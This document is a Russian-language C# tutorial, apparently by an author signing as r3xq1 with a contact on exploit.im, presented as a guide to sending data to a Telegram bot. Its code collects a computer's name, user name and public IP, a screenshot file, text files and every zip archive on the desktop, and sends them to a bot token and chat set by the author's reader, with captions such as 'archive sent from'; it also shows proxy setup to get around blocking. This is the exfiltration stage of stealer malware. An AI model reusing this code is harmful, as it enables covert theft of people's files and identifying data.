Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.
У нас есть API сайт телеграмм:
В котором мы можем найти все данные для отправки запросов и получения данных.
Методы для отправки можете найти тут
Пример вызова методов:
Используется System.Net.Http
namespace TGbotEx
{
using System;
using System.IO;
using System.Net;
using System.Threading.Tasks; internal static class Program
{
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
[STAThread]
public static async Task Main()
{ string textMessage = string.Concat(
"👤 Компьютер: ", Environment.MachineName,
"\n 🏴 Пользователь: ", Environment.UserName,
"\n 🌐 IP: ", GetIP("https://api.ipify.org"));
string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
Console.Read();
}
// Метод для получения IP адреса
private static string GetIP(string url)
{
string result = string.Empty;
try
{
var Link = new Uri(url);
using (var client = new WebClient())
{
result = client.DownloadString(Link);
}
}
catch { }
return result;
}
}
}Для отправки zip файла можно использовать ещё такой способ: Кликни сюда
Использовать метод для отправки архива можно так:
string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine(quot;⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine(quot;👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine(quot;🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine(quot;🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);
Все методы прокомментированы, думаю объяснять ничего особо не нужно.
Теперь напишем методы с использованием библиотеки Telegram.Bot.dll
Методы для отправки можете найти тут
private static TelegramBotClient bot;
Для отправки файл(а)ов:
/// <summary>
/// Асинхронный метод для отправки файла в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="filename">Полный путь к файлу</param>
/// <returns></returns>
public static async Task AsyncSendFile(string token, int? chatId, string filename)
{
if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
bot = new TelegramBotClient(token);
// using (var stream = System.IO.File.Open(filename, FileMode.Open))
using (FileStream stream = System.IO.File.OpenRead(filename))
{
string ssf = Path.GetFileName(filename);
var Iof = new InputOnlineFile(stream, ssf);
string fromsend = quot;Файл отправлен от: {Environment.UserName}";
Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend);
}
}
catch (Exception ex)
{
System.IO.File.WriteAllText("AsyncSendFile_Error.txt", quot;{ex.Message}{Environment.NewLine}");
}
}}Для отправки сообщения:
/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
{
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
bot = new TelegramBotClient(token);
Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
}
catch (Exception ex)
{
System.IO.File.WriteAllText("AsyncSendText_Error.txt", quot;{ex.Message}{Environment.NewLine}");
}
}
}Используется так:
await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zipProxyServer - Подключаем прокси
Немного о том, что делать если Роскомнадзор блокирует отправку/получения данных из/в телеграмм?!
В таком случае придётся использовать VPN ( на пример: NordVPN )
Или подключать Proxy к самому TelegramBot'у.
Вот пример как подключить прокси к боту:
Для Телеграмм нужно использовать Socks5 прокси от MihaZupan
P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:
Выберем подходящий проксик по этой ссылке.
Теперь подключаем в коде:
var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort); proxy.ResolveHostnamesLocally = true; Bot = new TelegramBotClient(BotToken, proxy);
или так
var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;На этом всё!
Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад
BTC: 1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH
По всем вопросами пишите мне в:
- Telegram: @r3xq1 ( остерегайтесь фейков )
- Jabber: r3xq1_dev@exploit.im